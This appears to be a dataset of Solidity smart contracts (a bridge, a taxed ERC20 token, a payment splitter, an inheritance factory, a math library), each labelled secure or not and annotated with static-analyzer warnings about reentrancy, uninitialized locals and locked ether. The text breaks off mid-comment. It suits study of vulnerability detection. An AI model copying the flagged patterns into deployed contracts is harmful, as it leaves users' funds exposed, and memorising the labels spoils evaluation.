files
dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20Token {\n function mint(address account, uint256 value) external;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n}",
"file_name": "solidity_code_1449.sol",
"secure": 1,
"size_bytes": 487
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./InheritanceContract.sol\" as InheritanceContract;\n\ncontract InheritanceFactory {\n address public immutable developer;\n\n address[] public allInheritanceContracts;\n\n mapping(address => bool) public validContracts;\n\n mapping(address => address[]) public ownerToContracts;\n\n mapping(address => address[]) public beneficiaryToContracts;\n\n event InheritanceContractCreated(\n address indexed owner,\n address inheritanceContract\n );\n\n event BeneficiaryRegistered(\n address indexed beneficiary,\n address indexed inheritanceContract\n );\n\n event BeneficiaryUnregistered(\n address indexed beneficiary,\n address indexed inheritanceContract\n );\n\n constructor() {\n developer = msg.sender;\n }\n\n function createInheritanceContract(\n address _owner,\n address[] calldata _beneficiaryAddresses,\n uint256[] calldata _shares,\n uint256 _inactivityPeriod,\n uint256 _gracePeriod\n ) external payable returns (address) {\n InheritanceContract inheritanceContract = (new InheritanceContract){\n value: msg.value\n }(\n _owner,\n _beneficiaryAddresses,\n _shares,\n _inactivityPeriod,\n _gracePeriod,\n developer,\n address(this)\n );\n\n address contractAddress = address(inheritanceContract);\n\n allInheritanceContracts.push(contractAddress);\n\n ownerToContracts[msg.sender].push(contractAddress);\n\n validContracts[contractAddress] = true;\n\n for (uint256 i = 0; i < _beneficiaryAddresses.length; i++) {\n beneficiaryToContracts[_beneficiaryAddresses[i]].push(\n contractAddress\n );\n\n emit BeneficiaryRegistered(\n _beneficiaryAddresses[i],\n contractAddress\n );\n }\n\n emit InheritanceContractCreated(msg.sender, contractAddress);\n\n return contractAddress;\n }\n\n function getInheritanceContractCount() external view returns (uint256) {\n return allInheritanceContracts.length;\n }\n\n function getContractsByOwner(\n address _owner\n ) external view returns (address[] memory) {\n return ownerToContracts[_owner];\n }\n\n function getContractsByBeneficiary(\n address _beneficiary\n ) external view returns (address[] memory) {\n return beneficiaryToContracts[_beneficiary];\n }\n\n function registerBeneficiary(\n address _beneficiary,\n address _contract\n ) external {\n require(validContracts[_contract], \"Unauthorized contract\");\n\n require(\n msg.sender == _contract,\n \"Only contract can register beneficiaries\"\n );\n\n beneficiaryToContracts[_beneficiary].push(_contract);\n\n emit BeneficiaryRegistered(_beneficiary, _contract);\n }\n\n function unregisterBeneficiary(\n address _beneficiary,\n address _contract\n ) external {\n require(validContracts[_contract], \"Unauthorized contract\");\n\n require(\n msg.sender == _contract,\n \"Only contract can unregister beneficiaries\"\n );\n\n address[] storage contracts = beneficiaryToContracts[_beneficiary];\n\n for (uint256 i = 0; i < contracts.length; i++) {\n if (contracts[i] == _contract) {\n contracts[i] = contracts[contracts.length - 1];\n\n contracts.pop();\n\n break;\n }\n }\n\n emit BeneficiaryUnregistered(_beneficiary, _contract);\n }\n}",
"file_name": "solidity_code_145.sol",
"secure": 1,
"size_bytes": 3798
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IBridgeLog {\n function outgoing(\n address _wallet,\n uint256 _amount,\n uint256 _fee,\n uint256 _chainID,\n uint256 _bridgeIndex\n ) external;\n\n function incoming(\n address _wallet,\n uint256 _amount,\n uint256 _fee,\n uint256 _chainID,\n uint256 _logIndex,\n bytes32 _txHash\n ) external;\n\n function withdrawalCompleted(\n bytes32 _withdrawalId\n ) external view returns (bool completed);\n}",
"file_name": "solidity_code_1450.sol",
"secure": 1,
"size_bytes": 579
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Managed.sol\" as Managed;\nimport \"./IERC20Token.sol\" as IERC20Token;\nimport \"./IBridgeLog.sol\" as IBridgeLog;\n\ncontract POLCBridgeTransfers is Managed {\n event NewTransfer(address indexed sender, uint256 chainTo, uint256 amount);\n\n event VaultChange(address vault);\n\n event FeeChange(uint256 fee);\n\n event TXLimitChange(uint256 minTX, uint256 maxTX);\n\n event LoggerChange(address _logger);\n\n event ChainUpdate(uint256 chain, bool available);\n\n event PauseTransfers(bool paused);\n\n address public polcVault;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cb14a35): POLCBridgeTransfers.polcTokenAddress should be immutable \n\t// Recommendation for cb14a35: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public polcTokenAddress;\n\n uint256 public bridgeFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 04941c9): POLCBridgeTransfers.polcToken should be immutable \n\t// Recommendation for 04941c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IERC20Token private polcToken;\n\n uint256 public depositIndex;\n\n IBridgeLog public logger;\n\n bool public paused;\n\n struct Deposit {\n address sender;\n uint256 amount;\n uint256 fee;\n uint256 chainTo;\n }\n\n mapping(uint256 => Deposit) public deposits;\n\n mapping(address => bool) public whitelisted;\n\n mapping(uint256 => bool) public chains;\n\n uint256 public maxTXAmount = 25000 ether;\n\n uint256 public minTXAmount = 50 ether;\n\n constructor() {\n polcTokenAddress = 0xaA8330FB2B4D5D07ABFE7A72262752a8505C6B37;\n\n logger = IBridgeLog(0x303bAA0Ef71F1882Ed0Ca7Abe296a642F62Ddf02);\n\n polcToken = IERC20Token(polcTokenAddress);\n\n polcVault = 0xf7A9F6001ff8b499149569C54852226d719f2D76;\n\n bridgeFee = 1;\n\n whitelisted[0xf7A9F6001ff8b499149569C54852226d719f2D76] = true;\n\n whitelisted[0xeA50CE6EBb1a5E4A8F90Bfb35A2fb3c3F0C673ec] = true;\n\n whitelisted[0x00d6E1038564047244Ad37080E2d695924F8515B] = true;\n\n managers[0x00d6E1038564047244Ad37080E2d695924F8515B] = true;\n\n chains[56] = true;\n\n chains[112358] = true;\n\n depositIndex = 1;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: e621bfb): POLCBridgeTransfers.bridgeSend(uint256,uint256).fee is a local variable never initialized\n\t// Recommendation for e621bfb: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function bridgeSend(uint256 _amount, uint256 _chainTo) public {\n require(\n (_amount >= (minTXAmount) && _amount <= (maxTXAmount)),\n \"Invalid amount\"\n );\n\n uint256 fee;\n\n if (bridgeFee > 0) {\n fee = (_amount * bridgeFee) / 100;\n }\n\n _bridge(msg.sender, _amount, fee, _chainTo);\n }\n\n function platformTransfer(uint256 _amount, uint256 _chainTo) public {\n require(whitelisted[msg.sender] == true, \"Not allowed\");\n\n _bridge(msg.sender, _amount, 0, _chainTo);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 601c98c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 601c98c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 34e7c2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 34e7c2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 36e77b7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 36e77b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _bridge(\n address _wallet,\n uint256 _amount,\n uint256 _fee,\n uint256 _chainTo\n ) private {\n require(chains[_chainTo] == true, \"Invalid chain\");\n\n require(!paused, \"Contract is paused\");\n\n\t\t// reentrancy-events | ID: 601c98c\n\t\t// reentrancy-benign | ID: 34e7c2c\n\t\t// reentrancy-no-eth | ID: 36e77b7\n require(\n polcToken.transferFrom(msg.sender, polcVault, _amount),\n \"ERC20 transfer error\"\n );\n\n\t\t// reentrancy-benign | ID: 34e7c2c\n deposits[depositIndex].sender = _wallet;\n\n\t\t// reentrancy-benign | ID: 34e7c2c\n deposits[depositIndex].amount = _amount;\n\n\t\t// reentrancy-benign | ID: 34e7c2c\n deposits[depositIndex].fee = _fee;\n\n\t\t// reentrancy-benign | ID: 34e7c2c\n deposits[depositIndex].chainTo = _chainTo;\n\n\t\t// reentrancy-events | ID: 601c98c\n\t\t// reentrancy-no-eth | ID: 36e77b7\n logger.outgoing(_wallet, _amount, _fee, _chainTo, depositIndex);\n\n\t\t// reentrancy-no-eth | ID: 36e77b7\n depositIndex += 1;\n\n\t\t// reentrancy-events | ID: 601c98c\n emit NewTransfer(_wallet, _chainTo, _amount);\n }\n\n function setVault(address _vault) public onlyManagers {\n require(_vault != address(0), \"Invalid address\");\n\n polcVault = _vault;\n\n emit VaultChange(_vault);\n }\n\n function setFee(uint256 _fee) public onlyManagers {\n require(_fee <= 5, \"Fee too high\");\n\n bridgeFee = _fee;\n\n emit FeeChange(_fee);\n }\n\n function setMaxTXAmount(uint256 _amount) public onlyManagers {\n require(_amount > 10000 ether, \"Max amount too low\");\n\n maxTXAmount = _amount;\n\n emit TXLimitChange(minTXAmount, maxTXAmount);\n }\n\n function setMinTXAmount(uint256 _amount) public onlyManagers {\n require(_amount < 1000 ether, \"Min amount too high\");\n\n minTXAmount = _amount;\n\n emit TXLimitChange(minTXAmount, maxTXAmount);\n }\n\n function whitelistWallet(\n address _wallet,\n bool _whitelisted\n ) public onlyManagers {\n whitelisted[_wallet] = _whitelisted;\n }\n\n function setLogger(address _logger) public onlyManagers {\n require(_logger != address(0), \"Invalid address\");\n\n logger = IBridgeLog(_logger);\n\n emit LoggerChange(_logger);\n }\n\n function setChain(uint256 _chain, bool _available) public onlyManagers {\n chains[_chain] = _available;\n\n emit ChainUpdate(_chain, _available);\n }\n\n function pauseBridge(bool _paused) public onlyManagers {\n paused = _paused;\n\n emit PauseTransfers(_paused);\n }\n}",
"file_name": "solidity_code_1451.sol",
"secure": 0,
"size_bytes": 7255
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IStaking {\n function depositRewards(uint256 reward) external;\n}\n",
"file_name": "solidity_code_1452.sol",
"secure": 1,
"size_bytes": 149
}
|
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"./IStaking.sol\" as IStaking;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 039ea3d): Contract locking ether found Contract Nodex has payable functions Nodex.receive() But does not have a function to withdraw the ether\n// Recommendation for 039ea3d: Remove the 'payable' attribute or add a withdraw function.\ncontract Nodex is Context, IERC20, Ownable {\n uint256 private constant _totalSupply = 1000_000_000e18;\n\n uint128 public minSwap = uint128(_totalSupply / 400);\n\n uint128 public maxSwap = uint128(_totalSupply / 200);\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address immutable uniswapV2Pair;\n\n address immutable WETH;\n\n address payable immutable marketingWallet;\n\n IStaking public stakingContract;\n\n uint64 public constant buyTax = 10;\n\n uint64 public constant sellTax = 10;\n\n uint8 public launch;\n\n uint8 private inSwapAndLiquify;\n\n uint64 public lastLiquifyTime;\n\n uint256 public maxTxAmt = (_totalSupply * 2) / 100;\n\n string private constant _name = \"NodeX\";\n\n string private constant _symbol = \"NODEX\";\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n WETH\n );\n\n marketingWallet = payable(0xD2e5DbC6A3155237c324ceAA236c87CfACc26711);\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[marketingWallet][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function setNodexStakingContractAddress(\n address _staking\n ) external onlyOwner {\n stakingContract = IStaking(_staking);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return 18;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b24880): Nodex.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b24880: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 31a0ae7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 31a0ae7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9ce3205): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9ce3205: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 31a0ae7\n\t\t// reentrancy-benign | ID: 9ce3205\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 31a0ae7\n\t\t// reentrancy-benign | ID: 9ce3205\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7ac739b): Nodex._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7ac739b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 9ce3205\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 31a0ae7\n emit Approval(owner, spender, amount);\n }\n\n function enableNodeX() external onlyOwner {\n launch = 1;\n\n lastLiquifyTime = uint64(block.number);\n }\n\n function removeLimits() external onlyOwner {\n maxTxAmt = _totalSupply;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4941fcb): Nodex.changeMaxSwapbackThreshold(uint128) should emit an event for maxSwap = newMaxSwapThreshold * 1e18 \n\t// Recommendation for 4941fcb: Emit an event for critical parameter changes.\n function changeMaxSwapbackThreshold(\n uint128 newMaxSwapThreshold\n ) external onlyOwner {\n require(\n newMaxSwapThreshold * 1e18 > minSwap,\n \"Max Swap cannot be less than min swap\"\n );\n\n\t\t// events-maths | ID: 4941fcb\n maxSwap = newMaxSwapThreshold * 1e18;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 79e77b2): Nodex.changeMinSwapbackThreshold(uint128) should emit an event for minSwap = newMinSwapThreshold * 1e18 \n\t// Recommendation for 79e77b2: Emit an event for critical parameter changes.\n function changeMinSwapbackThreshold(\n uint128 newMinSwapThreshold\n ) external onlyOwner {\n require(\n newMinSwapThreshold * 1e18 < maxSwap,\n \"Min Swap cannot be greater than max swap\"\n );\n\n\t\t// events-maths | ID: 79e77b2\n minSwap = newMinSwapThreshold * 1e18;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 56c9f81): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 56c9f81: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fd4cc9d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fd4cc9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (amount <= 1e9) {\n _balance[from] -= amount;\n\n unchecked {\n _balance[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n uint256 _tax;\n\n if (\n from == owner() ||\n to == address(stakingContract) ||\n from == address(stakingContract) ||\n to == owner()\n ) {\n _tax = 0;\n } else {\n require(\n launch != 0 && amount <= maxTxAmt,\n \"Launch / Max TxAmount 2% at launch\"\n );\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n unchecked {\n _balance[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n _tax = buyTax;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (\n tokensToSwap > minSwap &&\n inSwapAndLiquify == 0 &&\n lastLiquifyTime != uint64(block.number)\n ) {\n if (tokensToSwap > maxSwap) {\n tokensToSwap = maxSwap;\n }\n\n\t\t\t\t\t// reentrancy-events | ID: 56c9f81\n\t\t\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n swapback(tokensToSwap);\n }\n\n _tax = sellTax;\n } else {\n _tax = 0;\n }\n }\n\n if (_tax != 0) {\n uint256 taxTokens = (amount * _tax) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n _balance[from] -= amount;\n\n unchecked {\n\t\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n _balance[to] += transferAmount;\n\n\t\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n _balance[address(this)] += taxTokens;\n }\n\n\t\t\t// reentrancy-events | ID: 56c9f81\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 56c9f81\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: fd4cc9d\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 56c9f81\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8295341): Reentrancy in Nodex.swapback(uint256) External calls stakingContract.depositRewards(forStaking) Event emitted after the call(s) Transfer(address(this),address(stakingContract),forStaking)\n\t// Recommendation for 8295341: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa9a495): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa9a495: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a2e8a40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a2e8a40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapback(uint256 tokensToSwap) internal {\n inSwapAndLiquify = 1;\n\n uint256 forStaking = tokensToSwap / 5;\n\n uint256 forSwapback;\n\n unchecked {\n forSwapback = tokensToSwap - forStaking;\n }\n\n\t\t// reentrancy-events | ID: 56c9f81\n\t\t// reentrancy-events | ID: 31a0ae7\n\t\t// reentrancy-events | ID: 8295341\n\t\t// reentrancy-benign | ID: fa9a495\n\t\t// reentrancy-benign | ID: a2e8a40\n\t\t// reentrancy-benign | ID: 9ce3205\n\t\t// reentrancy-no-eth | ID: fd4cc9d\n try stakingContract.depositRewards(forStaking) {\n unchecked {\n\t\t\t\t// reentrancy-benign | ID: a2e8a40\n _balance[address(this)] -= forStaking;\n\n\t\t\t\t// reentrancy-benign | ID: a2e8a40\n _balance[address(stakingContract)] += forStaking;\n\n\t\t\t\t// reentrancy-events | ID: 8295341\n emit Transfer(\n address(this),\n address(stakingContract),\n forStaking\n );\n }\n } catch {}\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: 56c9f81\n\t\t// reentrancy-events | ID: 31a0ae7\n\t\t// reentrancy-benign | ID: fa9a495\n\t\t// reentrancy-benign | ID: 9ce3205\n\t\t// reentrancy-no-eth | ID: fd4cc9d\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n forSwapback,\n 0,\n path,\n marketingWallet,\n block.timestamp\n )\n {} catch {}\n\n\t\t// reentrancy-benign | ID: fa9a495\n lastLiquifyTime = uint64(block.number);\n\n\t\t// reentrancy-benign | ID: fa9a495\n inSwapAndLiquify = 0;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 039ea3d): Contract locking ether found Contract Nodex has payable functions Nodex.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 039ea3d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1453.sol",
"secure": 0,
"size_bytes": 14305
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}",
"file_name": "solidity_code_1454.sol",
"secure": 1,
"size_bytes": 533
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract PaymentSplitter is Context {\n event PayeeAdded(address account, uint256 shares);\n\n event PaymentReleased(address to, uint256 amount);\n\n event ERC20PaymentReleased(\n IERC20 indexed token,\n address to,\n uint256 amount\n );\n\n event PaymentReceived(address from, uint256 amount);\n\n uint256 private _totalShares;\n\n uint256 private _totalReleased;\n\n mapping(address => uint256) private _shares;\n\n mapping(address => uint256) private _released;\n\n address[] private _payees;\n\n mapping(IERC20 => uint256) private _erc20TotalReleased;\n\n mapping(IERC20 => mapping(address => uint256)) private _erc20Released;\n\n constructor(address[] memory payees, uint256[] memory shares_) payable {\n require(\n payees.length == shares_.length,\n \"PaymentSplitter: payees and shares length mismatch\"\n );\n\n require(payees.length > 0, \"PaymentSplitter: no payees\");\n\n for (uint256 i = 0; i < payees.length; i++) {\n _addPayee(payees[i], shares_[i]);\n }\n }\n\n receive() external payable virtual {\n emit PaymentReceived(_msgSender(), msg.value);\n }\n\n function totalShares() public view returns (uint256) {\n return _totalShares;\n }\n\n function totalReleased() public view returns (uint256) {\n return _totalReleased;\n }\n\n function totalReleased(IERC20 token) public view returns (uint256) {\n return _erc20TotalReleased[token];\n }\n\n function shares(address account) public view returns (uint256) {\n return _shares[account];\n }\n\n function released(address account) public view returns (uint256) {\n return _released[account];\n }\n\n function released(\n IERC20 token,\n address account\n ) public view returns (uint256) {\n return _erc20Released[token][account];\n }\n\n function payee(uint256 index) public view returns (address) {\n return _payees[index];\n }\n\n function releasable(address account) public view returns (uint256) {\n uint256 totalReceived = address(this).balance + totalReleased();\n\n return _pendingPayment(account, totalReceived, released(account));\n }\n\n function releasable(\n IERC20 token,\n address account\n ) public view returns (uint256) {\n uint256 totalReceived = token.balanceOf(address(this)) +\n totalReleased(token);\n\n return\n _pendingPayment(account, totalReceived, released(token, account));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7f40579): Reentrancy in PaymentSplitter.release(address) External calls Address.sendValue(account,payment) Event emitted after the call(s) PaymentReleased(account,payment)\n\t// Recommendation for 7f40579: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function release(address payable account) public virtual {\n require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n uint256 payment = releasable(account);\n\n require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n _totalReleased += payment;\n\n unchecked {\n _released[account] += payment;\n }\n\n\t\t// reentrancy-events | ID: 7f40579\n Address.sendValue(account, payment);\n\n\t\t// reentrancy-events | ID: 7f40579\n emit PaymentReleased(account, payment);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5c68c65): Reentrancy in PaymentSplitter.release(IERC20,address) External calls SafeERC20.safeTransfer(token,account,payment) Event emitted after the call(s) ERC20PaymentReleased(token,account,payment)\n\t// Recommendation for 5c68c65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function release(IERC20 token, address account) public virtual {\n require(_shares[account] > 0, \"PaymentSplitter: account has no shares\");\n\n uint256 payment = releasable(token, account);\n\n require(payment != 0, \"PaymentSplitter: account is not due payment\");\n\n _erc20TotalReleased[token] += payment;\n\n unchecked {\n _erc20Released[token][account] += payment;\n }\n\n\t\t// reentrancy-events | ID: 5c68c65\n SafeERC20.safeTransfer(token, account, payment);\n\n\t\t// reentrancy-events | ID: 5c68c65\n emit ERC20PaymentReleased(token, account, payment);\n }\n\n function _pendingPayment(\n address account,\n uint256 totalReceived,\n uint256 alreadyReleased\n ) private view returns (uint256) {\n return\n (totalReceived * _shares[account]) / _totalShares - alreadyReleased;\n }\n\n function _addPayee(address account, uint256 shares_) private {\n require(\n account != address(0),\n \"PaymentSplitter: account is the zero address\"\n );\n\n require(shares_ > 0, \"PaymentSplitter: shares are 0\");\n\n require(\n _shares[account] == 0,\n \"PaymentSplitter: account already has shares\"\n );\n\n _payees.push(account);\n\n _shares[account] = shares_;\n\n _totalShares = _totalShares + shares_;\n\n emit PayeeAdded(account, shares_);\n }\n}",
"file_name": "solidity_code_1455.sol",
"secure": 0,
"size_bytes": 5846
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 383999e): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 383999e: Consider ordering multiplication before 